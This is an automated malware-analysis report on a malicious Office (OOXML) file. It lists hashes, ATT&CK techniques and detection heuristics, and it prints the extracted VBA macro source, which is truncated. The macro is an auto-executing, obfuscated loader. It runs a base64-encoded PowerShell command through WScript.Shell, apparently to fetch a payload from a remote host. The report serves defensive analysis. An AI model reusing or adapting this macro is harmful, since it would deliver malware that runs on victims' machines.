Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 89d34b17555622b5…

MALICIOUS

Office (OOXML)

16.2 KB First seen: 2021-09-25
MD5: 0360a3fa0ce89f84a29db0fb40be5612 SHA-1: ab300393a4d6d606be80f068169a5b3415d01175 SHA-256: 89d34b17555622b5e6f1e39729e5be17bc01b9f6de23b3fd26a53cdcb3f53919
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing a malicious VBA macro. The macro utilizes `WScript.Shell` and `CreateObject` to execute obfuscated code, which is likely intended to download and run a second-stage payload. The presence of an `Auto_open` macro and the use of `Shell()` indicate a clear intent to execute arbitrary code upon opening the document.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5994 bytes
SHA-256: ff80ccdb2dd8c6035ef4bf53ed9ae0635c5d1bb3d6409d248c89dc837c30d3b4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "adigo"

Public Sub Auto_open()
jusj.gh
dsfdas = cxzvxzsf

End Sub

Attribute VB_Name = "jusj"
Function ljknmn(ophji As Variant)
sdfxc = "bvcvhgj  cvnvcfh cvnvhgk"
ljknmn = Chr(ophji - 130)
vcxbdg = "vxvbxdfg cxfgh vcvn gfgh ,vbnvc cvcvn"
End Function
Function jsxwvsilygxafqonrgrtatuzaukpc(jnjbkkagzllomwgq As String)
cbcwprhviyjib = 0

fdsaf = "cxvx cbbcvx vcxzvsdf fdasxcv"


fzswrtjfolx = "WSCript.shell"
Set miymjaxes = CreateObject(fzswrtjfolx)

'hjgjg ffhg5645n /*/
fzbfwwbfknqfxddnzajwyxffmqqxyvbisjs = miymjaxes.Run(jnjbkkagzllomwgq, cbcwprhviyjib)
End Function
Sub gh()

mim = ljknmn(197) & ljknmn(239) & ljknmn(230) & ljknmn(162) & ljknmn(177) & ljknmn(197) & ljknmn(162) & ljknmn(242) & ljknmn(241) & ljknmn(224) & ljknmn(217) & ljknmn(224) & ljknmn(199) & ljknmn(244) & ljknmn(245) & ljknmn(224) & ljknmn(234) & ljknmn(231) & ljknmn(224) & ljknmn(206) & ljknmn(238) & ljknmn(162) & ljknmn(175) & ljknmn(199) & ljknmn(162)
mim = mim & "WwBzAHkAcwB0AEUATQAuAFQARQBYAFQALgBlAG4AYwBPAEQASQBOAGcAXQA6ADoAVQBuAEkAYwBPAEQARQAuAGcAZQB0AFMAdABSAGkATgBHACgAWwBTAHkAcwB0AGUATQAuAEMAbwBOAFYAZQBSAFQAXQA6ADoARgByAE8AbQBCAGEAcwBlADYANABzAHQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBA"
mim = mim & "EcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAYwBBAGMAQQBCAG4AQQBHAE0AQQBaAEEAQgAyAEEASABZAEEAWgBnAEIAcABBAEcANABBAGIAZwBCADYAQQBIAFkAQQBkAHcAQgAzAEEASABVAEEAYwBnAEIANABBAEcAawBBAGEAUQBCAHoAQQBDAEEAQQBLAEEAQQBnAEEAQwBRAEEAZAB3AEIAMQBBAEgARQBBAFoAQQBCAHAAQQBHAGcAQQBiAHcAQgA0AEEARwAwAEEAWgBnAEIANABBAEcAMABBAGEAUQBBAGcAQQBDAHcAQQBJAEEAQQBrAEEARwBnAEEAZQBRAEIAeQBBAEcAawBBAGUAZwBCAHkAQQBIAEUAQQBZAFEAQgB4AEEASABjAEEAYwBRAEIAMwBBAEgAWQBBAGIAdwBCAHgAQQBHADgAQQBJAEEAQQBwAEEAQQAwAEEAQwBnAEIANwBBAEMAQQBBAGEAUQBCAE4AQQBGAEEAQQBUAHcAQgB5AEEARgBRAEEATABRAEIAdABBAEUAOABBAFIAQQBCAFYAQQBHAHcAQQ"
mim = mim & "BSAFEAQQBnAEEARQBJAEEAUwBRAEIAMABBAEgATQBBAFYAQQBCAFMAQQBHAEUAQQBiAGcAQgB6AEEARwBZAEEAWgBRAEIAeQBBAEQAcwBBAEQAUQBBAEsAQQBIAE0AQQBkAEEAQgBoAEEARgBJAEEAVgBBAEEAdABBAEcASQBBAGEAUQBCADAAQQBIAE0AQQBWAEEAQgBTAEEARQBFAEEAYgBnAEIAegBBAEUAWQBBAFIAUQBCAHkAQQBDAEEAQQBMAFEAQgBUAEEARQA4AEEAVgBRAEIAeQBBAEcATQBBAFIAUQBBAGcAQQBDAFEAQQBkAHcAQgAxAEEASABFAEEAWgBBAEIAcABBAEcAZwBBAGIAdwBCADQAQQBHADAAQQBaAGcAQgA0AEEARwAwAEEAYQBRAEEAZwBBAEMAMABBAFoAQQBCAGwAQQBIAE0AQQBWAEEAQgBwAEEARwA0AEEAWQBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBKAEEAQgBvAEEASABrAEEAYwBnAEIAcABBAEgAbwBBAGMAZwBCAHgAQQBHAEUAQQBjAFEAQgAzAEEASABFAEEAZAB3AEI"
mim = mim & "AMgBBAEcAOABBAGMAUQBCAHYAQQBEAHMAQQBJAEEAQQBtAEEAQwBBAEEASgBBAEIAbwBBAEgAawBBAGMAZwBCAHAAQQBIAG8AQQBjAGcAQgB4AEEARwBFAEEAYwBRAEIAMwBBAEgARQBBAGQAdwBCADIAQQBHADgAQQBjAFEAQgB2AEEARABzAEEASQBBAEIAOQBBAEgAUQBBAGMAZwBCADUAQQBIAHMAQQBKAEEAQgB2AEEARwBzAEEAZAB3AEIAeQBBAEcAVQBBAGMAUQBCAHcAQQBHAG8AQQBjAFEAQgB4AEEARwAwAEEAWgBRAEIANABBAEcANABBAFkAUQBCAG4AQQBHADAAQQBkAFEAQQA5AEEAQwBRAEEAUgBRAEIAdQBBAEgAWQBBAE8AZwBCADAAQQBFAFUAQQBUAFEAQgB3AEEAQwBzAEEASgB3AEIAYwBBAEgARQBBAGIAQQBCAHQAQQBHAG8AQQBjAGcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAE8AdwBBAE4AQQBBAG8AQQBaAHcAQgB3AEEARwBjAEEAWQB3AEIAawBBAEgAWQBBAGQAZwBCAG0AQQBH"
mim = mim & "AGsAQQBiAGcAQgB1AEEASABvAEEAZABnAEIAMwBBAEgAYwBBAGQAUQBCAHkAQQBIAGcAQQBhAFEAQgBwAEEASABNAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATQBRAEEANQBBAEQAVQBBAEwAZwBBAHkAQQBEAFEAQQBNAGcAQQB1AEEARABFAEEATQBRAEEAdwBBAEMANABBAE4AQQBBADEAQQBDADgAQQBSAHcAQgBoAEEASABRAEEAWgBBAEIAbwBBAEcARQBBAGIAdwBCADYAQQBHADAAQQBkAHcAQgA2AEEASABFAEEAWQBnAEIAbQBBAEgARQBBAGMAZwBCADMAQQBHAGMAQQBiAFEAQgAxAEEARwBFAEEAYwBBAEIAdwBBAEcAbwBBAGEAdwBCAHgAQQBIAFkAQQBiAEEAQgAwAEEASABBAEEAWgBnAEIAagBBAEgAZwBBAGEAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEcAOABBAGEAdwBCADMAQQBIAEkAQQBaAFEAQgB4AEEASABBAEEAY"
mim = mi
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 39936 bytes
SHA-256: c70491a2a43b486f32d9ea5f8a7e4d0edc461cebedcd03a9ba77a79b94b30a76
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).

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